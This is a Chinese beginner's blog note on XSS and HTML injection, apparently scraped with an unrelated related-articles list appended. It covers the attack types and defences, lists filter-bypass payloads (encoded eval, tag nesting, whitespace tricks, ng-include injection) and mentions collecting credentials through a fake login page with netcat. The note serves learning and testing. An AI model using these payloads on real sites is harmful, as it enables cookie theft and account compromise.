WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入
零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、XSS:
1、本质:
XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。
2、分类:
//1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
/*https://www.test.com/XSS?string='一段js脚本'*/
<script>alert(1)</script>
//2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
/*https://www.test.com/XSS?store='一段js脚本'*/
<script>alert(1)</script>
/*https://www.test.com/show触发*/
//3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
<script>
function xssattack(){
var str = document.getElementById("text").value;
document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
}</script>
//如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。
3、危害:
(1)盗取Cookie
(2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
(3)增删改查用户可以增删改查的任何东西
(4)钓鱼甚至蠕虫(终极武器)
4、常见的payload:
(1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>
(2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>
(3)以上特殊字符编码成URL编码
(4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
(5)";alert(1);"【本身在<script>标签内】
(6)<img src=javascript:alert(1)>,<div style="{+...H">【或者hex、base64编码】,<script src='/filepath/filename'></script>
(7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>
(8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'
(9)alert()中()被过滤可以尝试使用``反引号
(10)url;<script>alert(1)</script>url反射
5、防御:
(1)过滤用户输入
(2)输出之前进行实体编码
二、更广泛的HTML注入:
1、本质:
向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。
2、payload:
<a href='http://www.baidu.com'>
paramwidth ="\" onload=alert(1)></ifrmae>//"
3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。
WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入的更多相关文章
- 实现手机扫描二维码页面登录,类似web微信-第三篇,手机客户端
转自:http://www.cnblogs.com/fengyun99/p/3541254.html 上一篇,介绍了二维码生成的机制,紧接着,我们就要开发手机客户端来识别这个二维码. 二维码,实际上是 ...
- Java Web学习(六)HttpServletRequest(客户端请求)
一.定义 HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有 ...
- 《手把手教你》系列技巧篇(四十六)-java+ selenium自动化测试-web页面定位toast-下篇(详解教程)
1.简介 终于经过宏哥的不懈努力,偶然发现了一个toast的web页面,所以直接就用这个页面来夯实一下,上一篇学过的知识-处理toast元素. 2.安居客 事先声明啊,宏哥没有收他们的广告费啊,纯粹是 ...
- 第六篇 :微信公众平台开发实战Java版之如何自定义微信公众号菜单
我们来了解一下 自定义菜单创建接口: http请求方式:POST(请使用https协议) https://api.weixin.qq.com/cgi-bin/menu/create?access_to ...
- Python之路【第六篇】:socket
Python之路[第六篇]:socket Socket socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字&quo ...
- [老老实实学WCF] 第六篇 元数据交换
老老实实学WCF 第六篇 元数据交换 通过前两篇的学习,我们了解了WCF通信的一些基本原理,我们知道,WCF服务端和客户端通过共享元数据(包括服务协定.服务器终结点信息)在两个 终结点上建立通道从而进 ...
- 跟我学SpringCloud | 第六篇:Spring Cloud Config Github配置中心
SpringCloud系列教程 | 第六篇:Spring Cloud Config Github配置中心 Springboot: 2.1.6.RELEASE SpringCloud: Greenwic ...
- Spring Cloud第六篇 | Hystrix仪表盘监控Hystrix Dashboard
本文是Spring Cloud专栏的第六篇文章,了解前五篇文章内容有助于更好的理解本文: Spring Cloud第一篇 | Spring Cloud前言及其常用组件介绍概览 Spring Cloud ...
- 实现手机扫描二维码页面登录,类似web微信-第四篇,服务器端
转自:http://blog.csdn.net/otangba/article/details/8273952 终于到了服务器端,第三篇的手机客户端如果已经下载了的话,没有服务器是不能正常运行的. 服 ...
随机推荐
- 分布式理论(4):Leases 一种解决分布式缓存一致性的高效容错机制(转)
作者:Cary G.Gray and David R. Cheriton 1989 译者:phylips@bmy 2011-5-7 出处:http://duanple.blog.163.com/blo ...
- Shell替换:Shell变量替换,命令替换,转义字符
如果表达式中包含特殊字符,Shell 将会进行替换.例如,在双引号中使用变量就是一种替换,转义字符也是一种替换. 举个例子: 复制纯文本复制 #!/bin/bash a=10 echo -e &quo ...
- [转]ListView学习笔记(二)——ViewHolder
在android开发中Listview是一个很重要的组件,它以列表的形式根据数据的长自适应展示具体内容,用户可以自由的定义listview每一列的布局,但当listview有大量的数据需要加载的时候, ...
- mysql慢查询日志开启和存储格式
mysql版本号是mysql5.6.22.安装环境windows7. 1.使用该查询日志能够找到有效率问题的sql语句.并记录下来,进行监控. 能够使用例如以下语句查询和设置慢查询日志 (1) 查看慢 ...
- jquery-easyui 中表格的行编辑功能
具体实现代码如下: <table id="tt"></table> $('#tt').datagrid({ title:'Editable DataGrid ...
- SQL Server 自动重建出现碎片的索引
1.索引碎片的产生? 由于在表里大量的插入.修改.删除操作而使索引页分裂.如果索引有了高的碎片,有两种情况,一种情况是扫描索引需要花费很多的时间,另一种情况是在查询的时候索引根本不使用索引,都会导致性 ...
- C++ c++与C语言的区别(struct类型的加强,函数-变量类型加强,bool类型)
//区别④:struct类型的加强(C++版本) #include<iostream> using namespace std; //C++中的struct是一个新类型的定义声明 //c+ ...
- openfire安装配置完全教程
Java领域的IM解决方案 Java领域的即时通信的解决方案可以考虑openfire+spark+smack. Openfire是基于Jabber协议(XMPP)实现的即时通信服务器端,最新版本是3. ...
- Hibernate中createCriteria即QBC查询的详细用法
现在假设有一个Student类,内有id,name,age属性String hql = "from Student s";按照以前的做法,我们通常是Query query = se ...
- php中ignore_user_abort函数的用法(定时)
PHP中的ignore_user_abort函数是当用户关掉终端后脚本不停止仍然在执行,可以用它来实现计划任务与持续进程,下面会通过实例讨论ignore_user_abort()函数的作用与用法. i ...